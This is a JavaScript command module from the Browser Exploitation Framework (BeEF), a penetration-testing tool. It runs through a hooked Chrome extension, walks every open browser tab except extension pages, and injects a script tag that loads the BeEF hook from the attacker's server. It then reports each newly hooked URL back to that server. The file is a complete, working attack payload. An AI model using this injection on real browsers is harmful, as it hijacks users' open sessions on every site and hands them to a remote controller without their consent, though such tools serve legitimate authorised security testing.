// // Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var beefHookUri = beef.net.httpproto + "://" + beef.net.host + ":" + beef.net.port + beef.net.hook; chrome.windows.getAll({"populate" : true}, function(windows) { for(i in windows) { if(windows[i].type=="normal") { chrome.tabs.getAllInWindow(windows[i].id,function(tabs){ for(t in tabs) { //antisnatchor: if the extension has her own tabs open, we want to precent injecting the hook //also there. Chrome extensions with tabs and http/s permissions cannot access URIs with protocol // handlers chrome-extension://, and most of them will not have permissions to do so. if(tabs[t].url.substring(0,16) != "chrome-extension"){ chrome.tabs.executeScript(tabs[t].id,{code:"newScript=document.createElement('script'); newScript.src='" + beefHookUri + "'; newScript.setAttribute('onload','beef_init()'); document.getElementsByTagName('head')[0].appendChild(newScript);"}) //send back the new domain that will be hooked :-) beef.net.send('<%= @command_url %>', <%= @command_id %>, 'Successfully injected BeEF hook on: ' + tabs[t].url); } } }) } } }); });